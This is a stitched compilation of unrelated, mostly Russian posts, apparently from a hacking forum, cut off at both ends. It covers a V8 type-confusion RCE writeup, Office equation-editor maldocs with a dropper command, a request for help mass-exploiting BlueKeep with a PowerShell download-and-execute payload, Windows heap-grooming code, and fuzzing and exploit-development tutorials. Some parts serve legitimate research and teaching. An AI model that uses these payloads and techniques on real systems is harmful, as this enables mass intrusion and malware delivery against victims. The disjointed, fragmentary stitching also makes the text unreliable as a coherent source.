0: 0x0c48e8bc04d1 <undefined> -> 0x0c48e8bc04d1 <undefined>
1: 0 -> 16705
2: 0x0c48e8bc04d1 <undefined> -> 0x0c48e8bc04d1 <undefined>
3: 1 -> 16706
4: 0x0c48e8bc04d1 <undefined> -> 0x0c48e8bc04d1 <undefined>
5: 0x0c48e8bc04d1 <undefined> -> 0x0c48e8bc04d1 <undefined>
6: 2 -> 16707
7: 3 -> 16708
}
pwndbg> tel 0x2d7782c4bec9-1 25
00:0000 0x2d7782c4bec8 -> 0xc48e8bc16d9 <- 0xc48e8bc01
01:0008 0x2d7782c4bed0 <- 0x1c00000000
02:0010 0x2d7782c4bed8 <- 0x400000000
03:0018 0x2d7782c4bee0 <- 0x0
04:0020 0x2d7782c4bee8 <- 0x800000000
05:0028 0x2d7782c4bef0 <- 0x100000000
06:0030 0x2d7782c4bef8 -> 0xc48e8bc04d1 <- 0xc48e8bc05
...
09:0048 0x2d7782c4bf10 <- 0x0
0a:0050 0x2d7782c4bf18 <- 0x414100000000
0b:0058 0x2d7782c4bf20 <- 0xc000000000
0c:0060 0x2d7782c4bf28 -> 0xc48e8bc04d1 <- 0xc48e8bc05
...
0f:0078 0x2d7782c4bf40 <- 0x100000000
10:0080 0x2d7782c4bf48 <- 0x414200000000
11:0088 0x2d7782c4bf50 <- 0xc000000000
Элемент в NumberDictionary по размеру, как три слота в FixedArray. Например, элемент с ключом 0 начинается по адресу 0x2d7782c4bf10, как показано выше. Сначала идет ключ, потом значение, в данном случае маленькое целое 0x4141, потом идет PropertyDescriptor обозначающий атрибуты свойства: configurable, writable, enumerable. Значение 0xc000000000 означает, что все три атрибута установлены.
Уязвимость позволяет контролировать все поля NumberDictionary, кроме поля длины, устанавливая их значения до вызова путаницы типов, через FixedArray (карта M1).
Самое интересное поле это ёмкость словаря – capacity т.к. оно используется при расчете границ. При попытках получить, присвоить или удалить элемент, вызывается функция HashTable::FindEntry, которая ищет расположение элемента по ключу.
C++:Copy to clipboard
// Find entry for key otherwise return kNotFound.
template <typename Derived, typename Shape>
int HashTable<Derived, Shape>::FindEntry(ReadOnlyRoots roots, Key key,
int32_t hash) {
uint32_t capacity = Capacity();
uint32_t entry = FirstProbe(hash, capacity);
uint32_t count = 1;
// EnsureCapacity will guarantee the hash table is never full.
Object undefined = roots.undefined_value();
Object the_hole = roots.the_hole_value();
USE(the_hole);
while (true) {
Object element = KeyAt(entry);
// Empty entry. Uses raw unchecked accessors because it is called by the
// string table during bootstrapping.
if (element == undefined) break;
if (!(Shape::kNeedsHoleCheck && the_hole == element)) {
if (Shape::IsMatch(key, element)) return entry;
}
entry = NextProbe(entry, count++, capacity);
}
return kNotFound;
}
Хэш таблицы в v8 используют квадратичное зондирование с рандомным хэш-семенем. Это означает, что аргумента int32_t hash и конкретное расположение словарей в памяти будет меняться между запусками. Функции FirstProbe и NextProbe используются для определения расположения значения. Их аргументы — это ёмкость словаря, а значит и подконтрольная атакующему величина.
C++:Copy to clipboard
inline static uint32_t FirstProbe(uint32_t hash, uint32_t size) {
return hash & (size - 1);
}
inline static uint32_t NextProbe(uint32_t last, uint32_t number, uint32_t size) {
return (last + number) & (size - 1);
}
Емкость — это число степени двойки в нормальных условиях и поэтому маскировка зондов при помощи capacity – 1 позволяет ограничить диапазон доступа значениями в границах (in-bounds). Тем не менее, при передаче бОльшего значения при помощи уязвимости позволяет получить доступ вне границ (out-of- bounds) с разными смещениями. Это легко может привести к падениям т.к. v8 попытается интерпретировать любое нечетное значение как помеченный указатель (tagged pointer in v8).
Возможное решение — это установить значение емкости равное k, которое находится вне границ и является степенью двойки плюс 1. Это заставит FindEntry посетить два возможных места, на смещении 0, и на смещении k (три раза). С осторожными отступами (padding), целевой массив может быть размещен за словарем, поле длина которого как раз на этом смещении. Удаление словаря с ключом по адресу там же, где и длина массива, приведет к замене длины пустым значением. Пустое значение является валидным указателем на статичный объект, а также большим значением, что может использоваться для чтения и записи за границами массива (out-of-bounds).
В то время, как этот метод может сработать, он не детерминированный из-за рандомизации и деградации структуры NumberDictionary. Но неудачи не вызывают падений Chrome и легко засекаются; перезагрузка страницы повторно инициализирует хэш-семя так что эксплойт может предпринять любое количество попыток.
Выполнение произвольного кода.
Следующее расположение объектов в памяти используется для получения чтения\записи в памяти процесса:
Эксплойт достигает исполнения кода при помощи следующих шагов:
Полный код эксплойта находится тут - [https://github.com/exodusintel/Chro...it/blob/master/chrome_992914/chrome_992914.js](https://github.com/exodusintel/Chrome- Issue-992914-Sealed-Frozen-Element-Kind-Type-Confusion-RCE- Exploit/blob/master/chrome_992914/chrome_992914.js) и он позволяет лучше понять описанный процесс получения произвольного выполнения кода.
([https://github.com/exodusintel/Chro...nfusion-RCE- Exploit/tree/master/chrome_992914](https://github.com/exodusintel/Chrome- Issue-992914-Sealed-Frozen-Element-Kind-Type-Confusion-RCE- Exploit/tree/master/chrome_992914)).
Для побега из песочницы понадобится отдельная уязвимость.
Демонстрация эксплойта (Youtube)
**Перевод специально для XSS.IS
Автор перевода - sploitem **
Источник - https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/
Небольшая статья создана для того, что бы развеять сомнения в поисках
продавцов "аля private silent 0day за 100$", кроме скама и не чистого паблика
вы не на чего не наткнетесь
Доброго времени суток, старая полностью не актуальная уязвимость без обхода
ASLR, которая была с корнями устранена за 2019.11.03(патч офиса 2017.11), но
ее продолжают продавать, решил разобрать сам процесс создания изменения и
бинарника, для начала разберем сэмпл такого продукта как warzone и закончим
сэмплами maldoc load.xls.lokibot
что же на самом деле, xls файл корректно работает только при исходном
расширении xlsm, сама структура исключительно Excel Standart XLSM, никаких
csv, xls как было заявлено создателями продукта, конверт не позволит пронести
в себе Equation обьект в стандартных условиях, а excel не игнорирует не
правильную структуру, поэтому выдает предупреждение, что фактически отпугивает
потенциального пользователя
Как мы видим на первом скриншоте, откуда то берется js и производится запуск,
так вот это OLE обьекты с автоматическим обновлением, дроп происходит
исключительно в папку Temp, и имеет сам по себе на данный метод порядка 4/23
детектов в рантайме. Способ дропа работает не зависимо, но патчи его тоже
определили в 2018 году как отдельную cve( в отличии от стандартного rtf, aslr
блокирует и это действие, а 2016 proplus, 2019, 365 без патча, дропают его под
папкой, а самое забавное что имя папки это CLSID отдельный примерно
%temp%/{3839-9383-4394}/file.js)
**подробнее про эти два ole обьекта, один из которых контролирующий sct, а
другой js скрипт скачивания, самое сладкое, разбираем структуру, открываем
через архиватор xlsm файл
обычные ole Обьекты, первый (3) это собственно cve-2017-11882 equation 3.0 в
реализации селлеров-индивидуалок как правило забит мусором который чисто
теоретически должен спасать от детектов, но не спасал он никогда, разве
аналитики при OffVision не может схватить этот equation обьект, из за которого
на xls все почтовики будут ставить детект zip.bomb, и никто не пропустит
фактически(это не исправимо), К примеру Fortinet ставит bomb.77 при попадание
в пространство почты.
Второй и третий, это как раз таки дроп, открывая workbook.xml можем увидеть
авто обновления 1 и 2 oleObject.bin для того что бы сделать запуск.
Для чего же нужны 2 ole обьекта, дело в обходе, защита от эксплойтов
встроенная в windows 10, с самого начала блокировал активность, так вот для
чего же все таки такая странная команда и почему ее будут с полной
вероятностью детектить, не говоря уж об defender runtime, (ТМ простыми
словами) команда создается с помощью шеллкода в equation и она не может просто
запустится без символов при обработки на которые детект, причина всему
нелегальные инструкции по которым можно с точностью определить, что это
эксплойт и даже при чистоте файла, никакой defender это не пропустит, даже
McAfee казалось бы отсталый в рантайм модуле антивирус, да определяет это.
cMD /c ReN %Tmp%\q v & WSCrIpT %tmp%\v?..wsf C
примерно так выглядит команда, почему же именно" ?.. C " а по другому никак не работает, ответ простой это тоже является частью побочных символов без которых запуска не будет, создатели продукта умело сделали что символы стали частью команды, и на этом же сделал акцент defender.
про макрос который так же включен в warzone, и переделки индусов я вообще
молчу сделан с обфускацией которая и пол часа не живет после слива.
https://antiscan.me/scan/new/result?id=pjgziOXJTlai самый чистый вариант
который возможен при всех усилиях на чистку, однако на вт ситуация особая
[https://www.virustotal.com/gui/file...WNkMjQ1YjZkYTYzNGY6MTYxNDcyMjUwNQ==/detection](https://www.virustotal.com/gui/file-
analysis/YTE3MWIwNDQ3YzZjYmRlNzA2OWNkMjQ1YjZkYTYzNGY6MTYxNDcyMjUwNQ==/detection)
и где же эта белоснежная чистота? все верно ее нету, сам вектор атаки умер.
Теперь немного о locky xls, конечно же название только из за того что ранее
работа была с ботом locky, но сам принцип это зашифрованный xlsx файл который
содержит нестандартный шеллкод под обработку vbc, из vbc после компиля
происходит скачивание. На hf да и на xss продолжают торговать чудо silent
эксплойтами это выглядит странно, так как реализациям 3 года, но ничего не
мешает селлеру втюхать эксплойт 4 летней давности как нормальный рабочий
продукт, остерегайтесь кидал)**
Описание:
В сборнике избранных статей из журнала "Хакер" описана технология поиска и эксплуатации уязвимостей, детектирования "песочниц" и антиотладки, управления процессами в ОС семейства Microsoft Windows и их маскировки. Рассказывается о способах обмена данными между вредоносными программами и управляющим сервером. Даны конкретные примеры написания драйвера режима ядра Windows, перехвата управления приложениями через WinAPI, создания стилера для получения паролей из браузеров Chrome и Firefox. Описаны приемы обфускации кода PowerShell. Отдельные разделы посвящены взлому iPhone и Apple Watch.
Формат : PDF
Год : 2020
ISBN : 978-5-9775-6633-9
(The configuration used is as follows):
1) use exploit/windows/rdp/cve_2019_0708_bluekeep_rce.
2) set RDP_CLIENT_IP 192.168.1.7
3) set RHOSTS file:/home/michael/Hosts.txt.
4) set TARGET 1.
5) set ForceExploit true.
6) set PAYLOAD windows/x64/exec
7) set CMD "PowerShell (New-Object
System.Net.WebClient).DownloadFile('[http://www.google.com/svchost.exe','svchost.exe');Start-
Process](http://www.google.com/svchost.exe%27,%27svchost.exe%27);Start-
Process) 'svchost.exe'". [I tried also with .PS1 (Powershell script
generated from "Unicorn": "https://github.com/trustedsec/unicorn"; with
annex D &E of my .EXE)].
8) set GROOMSIZE 50.
I tried in local using a VM (VirtualBox 6.1) Windows 7. [In this case
TARGET should be = "2"; and RHOSTS = local IPv6]: everything works well ,
but I get BSOD ; related to DOS invoked.
So, no exploitation success.
The problem to be solved is inside theGROOMBASE ("NonPagedPool -
Start "). That's wrong by default.
That's even more complex in mass-exploitation.
Someone has any idea how to solve? Not important locally ; (For that it 's just needed to get a dump from the memory of the VM: to retrieve the start- address) I 'm interested in being able to use that in mass-exploitation. (I already have a large list of "Vulnerable" RDP's).
Any contribute will be appreciated.
Thanks in advance!
Best regards,
VoidZero.
Linux (x86) Серия разработки эксплойтов.
Прежде всего я хотел бы поблагодарить статьи Phrack и других исследователей безопасности за то, что они научили меня различным методам эксплойтов, без которых ни один из постов был бы невозможен! Я твердо верю, что оригинальные справочные статьи всегда являются лучшим местом для изучения материалов.Здесь я собрал воедино и упростил различные методы эксплойтов под одной крышей, чтобы дать полное понимание о разработке эксплойтов Linux для начинающих! Любые вопросы, исправления и отзывы приветствуются! Теперь пристегнитесь и давайте начнем! Я разделил эту серию уроков на три уровня:
Ступень 1: Основные уязвимости.
На этом этапе я познакомлю вас с базовыми классами уязвимостей, а также немного попутешествуемвуем во времени, чтобы узнать, как развивалась разработка эксплойтов под Linux. Чтобы добиться этого, в текущей операционной системе Linux я отключил многие механизмы защиты (например, ASLR , Stack Canary, NX и PIE ). Таким образом, в некотором смысле этот уровень - детский материал.
Ступень 2: Обход техник смягчения эксплойтов
На этом этапе давайте вернемся в настоящие, чтобы узнать, как обойти различные методы смягчения эксплойтов (Таких как ASLR, Stack Canary, NX и PIE). Здесь уже действительно весело!
3. 1. Часть I: Использование возврата к PLT.
3.2. Часть II: Использование
Brute Force.
3.3. Часть III: Использование
GOT перезаписи и GOT
разыменования.
Степень 3: Уязвимости кучи памяти.
На этом этапе мы узнаем об ошибках в куче памяти.
Ниже я буду переводить по 2-3 статьи из этой серии в день.
Переведено специально для XSS.is
Оригинальная статья:
<https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-
tutorial-series/>
neopaket
Отдельное спасибо weaver и admin
Если хотите задонатить мне, то мои кошельки указаны в профиле :p
Переведено специально для xss.is by Stalker
[Оригинальная статья](https://fuzzit.dev/2019/07/11/discovering-
cve-2019-13504-cve-2019-13503-and-the-importance-of-api-fuzzing/)
Вступление
В этом посте мы рассмотрим, как мы обнаружили CVE-2019-13504 в exiv2 и CVE-2019-13503 в mongoose, два относительно широко используемых проекта oss.
Exiv2 - это набор «библиотеки метаданных C++ и инструментов…, используемых во многих проектах, включая KDE, Gnome Desktop, а также во многих других приложениях, включая GIMP, Darktable, shotwell, GwenView и Luminance HDR» (цитируется с их сайта). Исправление этой проблемы было произведено довольно быстро и в целом в хорошем состоянии.
Mongoose - это встроенная библиотека веб-сервера, которая, вероятно, используется некоторыми другими проектами с открытым исходным кодом, а также коммерческими проектами. Ошибка никогда не была исправлена (по крайней мере, во время написания), и похоже, что проект oss не очень хорошо поддерживается, хотя он относительно популярен, по крайней мере, по количеству звезд в их github.
Обе ошибки были найдены с помощью фаззинга, и мы пройдем процесс установки правильного фаззера, компиляции, запуска и поиска ошибки, а также покажем, как разные настройки / фаззер будут иметь разные результаты.
AFL против libFuzzer
Есть много хороших фаззеров для приложений. Некоторыми из наиболее заметных из них являются AFL и libFuzzer, которые работают как управляемые фаззеры для приложений C / C++. Мы не будем обсуждать бинарное размытие (как afl-qemu, afl-unicorn) здесь, так как мы больше сосредоточены на обсуждении фаззинга как части цикла разработки, где обычно доступен исходный код.
Оба фаззера очень хороши с точки зрения фаззинг двигателя / эвристики, но имеют некоторые различия.
AFL обычно проще в настройке, и он может работать с вашей «основной» командной строкой из коробки. Это выгодно как для разработчиков, так и для исследователей безопасности, которые проводят множество проектов и пытаются найти уязвимости.
libFuzzer является частью проекта инфраструктуры компилятора LLVM и поставляется со встроенным компилятором clang. Хотя для установки libFuzzer требуется немного больше работы, он идеально подходит для фаззирования определенных вызовов API в библиотеке, а также для лучшей поддержки различных средств защиты. Вы можете увидеть базовый пример на их сайте, а также наш пример для exiv2 и mongoose в этом посте.
Также можно использовать механизм AFL при использовании целевой функции, как в libFuzzer. Мы не будем рассказывать, как это сделать в посте.
Exiv2 - настройка AFL
Мы покажем простой пример того, как настроить AFL для exiv2 (эта часть не найдет никаких уязвимостей, по крайней мере, не быстро, вы можете перейти к следующему разделу, если хотите вызвать ошибку). Следующие инструкции были протестированы на Ubuntu: 18.04 - вы можете использовать docker run -it ubuntu: 18.04 / bin / bash и пройтись по инструкциям.
Code:Copy to clipboard
# install git, cmake, zlib, libexpat
apt update && apt install -y git build-essential cmake zlib1g-dev libexpat1-dev
# install afl
git clone https://github.com/mirrorer/afl
cd afl
make && make install
cd ..
# Download and compile the vulnerable exiv2 version (as it's already fixed in master)
git clone https://github.com/fuzzitdev/exiv2 --branch libfuzzer_integration_vanilla exiv2
cd exiv2
export CC=`which afl-gcc`
export CXX=`which afl-g++`
mkdir build
cd build
cmake .. -DCMAKE_BUILD_TYPE=Release
cmake --build .
# Run AFL
mkdir in
mkdir out
# just use random png for the seed corpus
wget -O in/1.png https://www.fnordware.com/superpng/pnggrad8rgb.png
afl-fuzz -i in -o out ./bin/exiv2 @@
Это создаст инструментированный двоичный файл AFL exiv2 (с уязвимой версией, так как версия уже исправлена в master). Как только вы запустите afl fuzzer, он не найдет никаких уязвимостей, по крайней мере, недостаточно быстро, либо из-за того, что кто-то уже выполнил эту точную настройку фаззинга, либо из-за того, что на этом пути не было «низко висящих» ошибок.
Мы также скомпилировали цель с помощью AFL_USE_ASAN, но она дала аналогичные результаты (процесс тот же, просто используйте 32-битный двоичный файл или увеличьте предел памяти). Позже мы также покажем, что сбой, обнаруженный libFuzzer, не повлиял на утилиту командной строки.
Exiv2 - настройка libFuzzer
Фаззинга с AFL недостаточно, как мы увидим в этом разделе, особенно для библиотеки. Поскольку библиотека не обязательно используется командной строкой, но используется API, экспортируемыми библиотекой, которые могут иметь немного другой код. Это также, где сила libFuzzer вступает в игру.
Фаззер доступен в PR, который мы предоставили, и скоро будет объединен. В то же время вы можете увидеть реализацию этого [здесь](https://github.com/Exiv2/exiv2/blob/5462b41ef75a0043150e74b203226c9a70fdef3f/fuzz/read- metadata.cpp).
Ниже приведена инструкция для сборки и запуска цели libFuzzer («target» или «harness» - это реализуемая вами функция, вызываемая фаззером).
Code:Copy to clipboard
# install git, cmake, zlib, libexpat, clang-8
apt update && apt install -y git build-essential cmake zlib1g-dev libexpat1-dev clang-8
# Download the vulnerable code with the libFuzzer targets
git clone https://github.com/fuzzitdev/exiv2 --branch libfuzzer_integration_vanilla exiv2
cd exiv2
# Compile the libFuzzer targets
mkdir build
cd build
export CXX=clang++-8
Export CC=clang-8
cmake .. -G "Unix Makefiles" "-DEXIV2_BUILD_FUZZ_TESTS=ON" "-DEXIV2_TEAM_USE_SANITIZERS=ON"
make -j4
# Run the libFuzzer Target
./bin/read-metadata -exact_artifact_path=crash
Довольно быстро вы увидите переполнение кучи-буфера с размером READ 4 от ASAN
Мы также можем дважды проверить, что этот сбой действительно не влияет на командную строку exiv2 через ./bin/exiv2 ./crash, где мы получаем вывод «не удалось прочитать изображение», а не вывод ASAN из-за незначительной разницы в коде инструмент командной строки и экспортированный API.
Следовательно, это хороший пример того, почему важно фаззирование экспортированных API-функций в библиотеках C /C++. Также с точки зрения лучшей практики важно не только выполнять однократное фаззирование, но и иметь постоянное фаззирование на месте, где новый код «фаззирован» (новый глагол ) каждый раз, когда он вводится в мастер, точно так же, как модульный тест ,
Mongoose
Вы можете проверить наш pull- запрос, который вообще не был адресован, по крайней мере, на момент написания.
Мы не будем рассказывать, как настроить фаззер, так как он похож на exiv2, и вы можете посмотреть инструкции в pull-запросе.
Mongoose - хороший пример, когда сложно настроить фаззинг с помощью AFL, так как нет двоичного кода, как в exiv2 или другом инструменте командной строки. Это хороший пример, когда libfuzzer может вступить в игру и использовать экспортируемые / опасные функции fuzz, которые обычно включают в себя некоторый анализ, например mg_parse_http, в случае mongoose.
На прошлой неделе специалисты Check Point сообщили о серьезной уязвимости в WinRAR и продемонстрировали эксплуатацию этой проблемы. Практически все 500 млн пользователей WinRAR оказались под угрозой, так как найденная проблема существует в коде примерно 19 лет.
Уязвимость связана со старой сторонней библиотекой UNACEV2.DLL: оказалось, что можно создать специальный архив ACE, который при распаковке сможет поместить вредоносный файл в произвольную директорию, в обход фактического пути для распаковки (например, добавив малварь в автозагрузку).
Уязвимость устранили с релизом [WinRAR 5.70 Beta 1](https://www.win- rar.com/singlenewsview.html?&tx_ttnews%5Btt_news%5D=111&cHash=f03654bc7001a6bfae3a5204c153ba4e), еще в январе текущего года. Разработчики приняли решение отказаться от поддержки формата ACE вовсе.
Теперь эксперты 360 Threat Intelligence Center сообщили, что уязвимость уже находится под атакой. Спамеры начали прикладывать к своим посланиям вредоносные архивы, которые при распаковке заражают машину пострадавшего бэкдором.
Как и в примере, который приводили специалисты Check Point, малварь разархивируется прямиком в директорию Startup. Отмечается, что при включенном UAC вредоносу попросту не хватит прав, и WinRAR сообщит, что в доступе было отказано, а операция завершилась неудачей.
Если же UAC отключен, малварь попадает в директорию Startup под именем CMSTray.exe и будет выполнена при следующем входе в систему. Затем CMSTray.exe скопирует себя в %Temp%\wbssrv.exe и выполнит файл wbssrv.exe. Тот свяжется с управляющим сервером и загрузит оттуда пентестинговый инструмент Cobalt Strike Beacon DLL, который злоумышленники нередко используют для удаленного доступа к машинам жертв.
Это базовый пример переполнения кучи. Видно, что он пытается передать 64 байта в меньший буфер кучи, который составляет всего 32 байта.
C:Copy to clipboard
#include <stdio.h>
int main(int args, char** argv) {
void* heap = (void*) malloc(32);
memset(heap, 'A', 64);
printf("%s\n", heap);
free(heap);
heap = NULL;
return 0;
}
В дебагере вы увидите ошибку 0xc0000374, показывающую исключение, вызванное
утечкой памяти, что в ходе неудачной проверке привело к вызову
RtlpLogHeapFailure
.
Современные системы действительно хорошо защищают свои кучи в наши дни, и
каждый раз, когда вы видите эту функцию, это показатель того, что вы
проиграли. Возможность экспоита зависит от того, насколько вы котролируете
приложение.
Клиентские приложения, такие как PDF, Flash и т.д., как правило являются
отличными целями, из-за поддержки скриптовых языков. Весьма вероятно, что вы
имеете косвенный контроль массивов, HeapAlloc, HeapFree, векторов, строк и
прочего, которые являются хорошими инструментами, чтобы эксплуатировать утечку
памяти, после того, как найдёте её.
СЛОЖНЫЙ ПЕРВЫЙ ШАГ ДЛЯ УСПЕХА
В приложениях на C/C++, ошибка программы может создать такие возможности, как
разрешение программе читать несоответствующую память, записовать или даже
выполнять несоответствующий код. Обычно, мы просто зовём это сбоями, а на
самом деле даже существует индустрия людей, полностью одержимая поиском таких
ошибок. Принимая такую "плохую память", которую программа не должна читать, мы
стали свидетелями бага Heartbleed.
Неважно, какой у вас эксплоит, самым первым шагом всегда является настройка правильной среды в памяти для проведения данной атаки. Это что-то похожее на термин из СИ, который называется pretexting. Что касается эксплоитов, у нас есть разные названия: Feng shui(фэн-шуй), massaging(массаж), grooming(уход за телом). Каждая программа любит массаж, верно?
Windows7 vs Windows10
Внутренности Windows 10 значительно отличаются от своих предшественников. Вы
могли заметить некоторые недавние громкие эксплоиты, которые были сделаны
против старых систем. Например, использование FileReader Use After Free в
Google Chrome для Windows 7, BlueKeep RDP в основном лучше всего работала в
Windows XP, а Zerodium в Windows 7.
Предсказуемое распределение кучи - важная вещь для очистки кучи, поэтому я
написал тест ниже для обеих систем. По сути, он создает несколько объектов и
дорожек, где они находятся. Есть также Summerize()
метод, который сообщает
мне все смещения, найденные между двумя объектами, и наиболее распространенное
смещение.
C:Copy to clipboard
void SprayTest() {
OffsetTracker offsetTracker;
LPVOID* objects = new LPVOID[OBJECT_COUNT];
for (int i = 0; i < OBJECT_COUNT; i++) {
SomeObject* obj = new SomeObject();
objects[i] = obj;
if (i > 0) {
int offset = (int) objects[i] - (int) objects[i-1];
offsetTracker.Register(offset);
printf("Object at 0x%08x. Offset to previous = 0x%08x\n", (int) obj, offset);
} else {
printf("Object at 0x%08x\n", (int) obj);
}
}
printf("\n");
offsetTracker.Summeriz();
Результат в Windows 7
По сути, мой инструмент тестирования предполагает, что в 97,8% случаев мои значения кучи выглядят следующим образом:
Code:Copy to clipboard
[ Object ][ 0x30 of Bytes ][ Object ]
Тот же код в Windows 10 ведёт себя иначе:
Только 6%. Это означает, что если бы у меня был эксплоит, у меня не было бы надёжного размещения для работы, и я бы терпел неудачу в 94% случаев. С таким же успехом я мог и не писать эксплоит.
Как оказалось, Windows 10 требует другого способа подготовки, и он намного сложнее. После долгих обсуждений с Питером из Corelan, мы пришли к выводу, что нам лучше не использовать кучу с низкой фрагментацией потому что именно это портит наши результаты.
Front- vs. back-end allocator
Низкая фрагментация кучи - способ позволить системе распределять память в определённых заранее размерах. Это значит, что когда приложение запрашивает распределение, система возвращает минимальный доступный подходящий фрагмент. Это звучит очень хорошо, за исключением Windows 10, оно не даёт вам фрагмент размером его соседа. Вы можете проверить, обрабатывается ли куча LFH, использую в WinDBG следующее:
Существует поле с именем FrontEndHeapType со смещением 0x0d6. Если значение равно 0, это означает, что куча обрабатывается внутренним распределителем. Первое обозначает LOOASIDE, а второе LFH. Другой способ проверить, принадлежит ли фрагмент к LFH:
Внутренний распределитель фактически является выбором по умолчанию, и для включения LFH требуется по меньшой мере 18 размещений. Кроме того, эти размещения не должны быть последовательными - они просто должны быть одного и того же размера. Например:
C:Copy to clipboard
#include <Windows.h>
#include <stdio.h>
#define CHUNK_SIZE 0x300
int main(int args, char** argv) {
int i;
LPVOID chunk;
HANDLE defaultHeap = GetProcessHeap();
for (i = 0; i < 18; i++) {
chunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
printf("[%d] Chunk is at 0x%08x\n", i, chunk);
}
for (i = 0; i < 5; i++) {
chunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
printf("[%d] New chunk in LFH : 0x%08x\n", i ,chunk);
}
system("PAUSE");
return 0;
}
Код выше дал следующий результат:
Два цикла делают одно и тоже. Первый повторяется 18 раз, второй 5 раз.
Наблюдая за этими адресами, можно заметить несколько интересных фактов:
В первом цикле:
Индекс 0 и Индекс 1 имеют огромный разрыв в 0x1310 байтов.
Начиная с индекса 2 до индекса 16 этот разрыв постоянно равен 0x308 байтов.
Во втором цикле:
Индекс 0 - начало LFH.
Каждый разрыв является случайным, как правило далеко друг от друга.
Кажется, самое приятное место, где мы имели больше всего контроля, находится
между 2 и 16 индексом в первом цилке, перед срабатыванием LFH.
The beauty of overtaking
Особенность диспетчера кучи Windows является то, что он знает, как повторно
использовать освобождённый фрагмент. Теоритически, если вы освобождаете
фрагмент и выделяете другой для того же размера, есть большая вероятность, что
он займёт освободившеевся пространство. Использовав это, можно написать
эксплоит.
Чтобы убедиться в этом, давайте напишим ещё один код на C:
C:Copy to clipboard
#include <Windows.h>
#include <stdio.h>
#define CHUNK_SIZE 0x300
int main(int args, char** argv) {
int i;
LPVOID chunk;
HANDLE defaultHeap = GetProcessHeap();
// Trigger LFH
for (i = 0; i < 18; i++) {
HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
}
chunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
printf("New chunk in LFH : 0x%08x\n", chunk);
BOOL result = HeapFree(defaultHeap, HEAP_NO_SERIALIZE, chunk);
printf("HeapFree returns %d\n", result);
chunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
printf("Another new chunk : 0x%08x\n", chunk);
system("PAUSE");
return 0;
}
В Windows 7 кажется, что этот метод допустим.
Для точно такого же кода результат в Windows 10 совсем другой:
Однакао наша надежда всё ещё не потерена. Интересным поведением диспетчера
кучи Windows является то, что по-видимому, в целях эффективности он может
разделить большой свободный кусок, чтобы обслуживать меньшие порции запросов
приложений. Это значит, что более мелкие фрагменты могут обьединяться, делая
их смежными друг с другом. Чтобы достичь этого, необходимо:
1. Выделить фрагменты, не обработанные LFH
Попробуйте выбрать размер, который не используется приложением, обычно это
большой размер. В нашем примере, пусть будет 0x300.
Выделите от 5 до 18 фрагментов.
2. Выберите фрагмент, который вы хотите освободить
Идеальный кандитат на эту роль, очевидно, не 1 или 18 фрагмент.
Выбранный вами фрагмент должен иметь одинаковое смещение между предыдущим и
следующим. Это означает, что вы хотите убедиться, в том, что у вас есть схема,
прежде чем освободить средний.
3. Сделайте отверстие
Освободив средний фрагмент, вы технически создаёте отверстие, которое выглядит
вот так:
4. Создайте меньшние выделения для чудо-обьеденения
Обычно идеальные куски на самом деле являются обьектами из приложения.
Например, идеальным является какой-то обьект, с заголовком размера, который вы
можете изменить. Структура BSTR идеально, как никогда подходит для этого
сценария.
Может потребоваться много проб и ошибок, чтобы создать правильный размер объекта и заставить его упасть в отверстие, созданное вами.
5. Повторите шаг 3(ещё отверстие)
Ещё отверстие будет использовано для помещение объекта, которое мы хотим
просочить. Ваша новая схема будет выглядить вот так
6. Повторите шаг 4(создайте обьект для просочения)
В последнем свободном фрагменте мы хотим заполнить его объектами, которые
хотим просочить. Чтобы создать их, вы должны выбрать что-то, что позволит
управлять распределением кучи, где вы сможете сохранять указатели ждя одного и
того же объекта. Вектор или массив прекрасно подходят для такой работы.
Ещё раз напомню, что вам может потребоваться поэксперемнтировать с различными
размерами, чтобы найти тот, который должен быть в отверстии.
Новое распределение должно занять последний фрагмент следующим образом:
Реализация в C++:
C++:Copy to clipboard
#include <Windows.h>
#include <comdef.h>
#include <stdio.h>
#include <vector>
using namespace std;
#define CHUNK_SIZE 0x190
#define ALLOC_COUNT 10
class SomeObject {
public:
void function1() {};
virtual void virtual_function1() {};
};
int main(int args, char** argv) {
int i;
BSTR bstr;
HANDLE hChunk;
void* allocations[ALLOC_COUNT];
BSTR bStrings[5];
SomeObject* object = new SomeObject();
HANDLE defaultHeap = GetProcessHeap();
for (i = 0; i < ALLOC_COUNT; i++) {
hChunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
memset(hChunk, 'A', CHUNK_SIZE);
allocations[i] = hChunk;
printf("[%d] Heap chunk in backend : 0x%08x\n", i, hChunk);
}
HeapFree(defaultHeap, HEAP_NO_SERIALIZE, allocations[3]);
for (i = 0; i < 5; i++) {
bstr = SysAllocString(L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
bStrings[i] = bstr;
printf("[%d] BSTR string : 0x%08x\n", i, bstr);
}
HeapFree(defaultHeap, HEAP_NO_SERIALIZE, allocations[4]);
int objRef = (int) object;
printf("SomeObject address for Chunk 3 : 0x%08x\n", objRef);
vector<int> array1(40, objRef);
vector<int> array2(40, objRef)
vector<int> array3(40, objRef);
vector<int> array4(40, objRef);
vector<int> array5(40, objRef);
vector<int> array6(40, objRef);
vector<int> array7(40, objRef);
vector<int> array8(40, objRef);
vector<int> array9(40, objRef);
vector<int> array10(40, objRef);
system("PAUSE");
return 0;
}
По причинам отладки программа записывает, где находятся распределения при запуске:
Для проверки того, что всё в нужном месте, мы можем взглянуть на это через WinDBG.
Кажется, мы всё выполнили правильно, все три блока расположены верно. Если вы дочитали до этого момента и не заснули, я вам лично вручу медаль. Мы наконец готовы идти дальше и поговорить о любимой части эксплуатации.
Эксплуатация переполнения кучи
Я думаю, что в этот момент вы могли догадаться, что самая болезненная часть
переполнения кучи на самом деле не переполнение кучи. Это время и усилия,
необходимые для настройки желаемой структуры памяти. К тому времени, когда вы
будете готовы использовать ошибку, вы уже в основном покончили с ней.
Напомним, что прежде чем вы будете готовы использовать переполнение кучи, чтобы вызвать утечку информации, вы должны убедиться, что у вас есть контроль над схемой, которая должна быть похожа на эту в случае утечки информации:
Code:Copy to clipboard
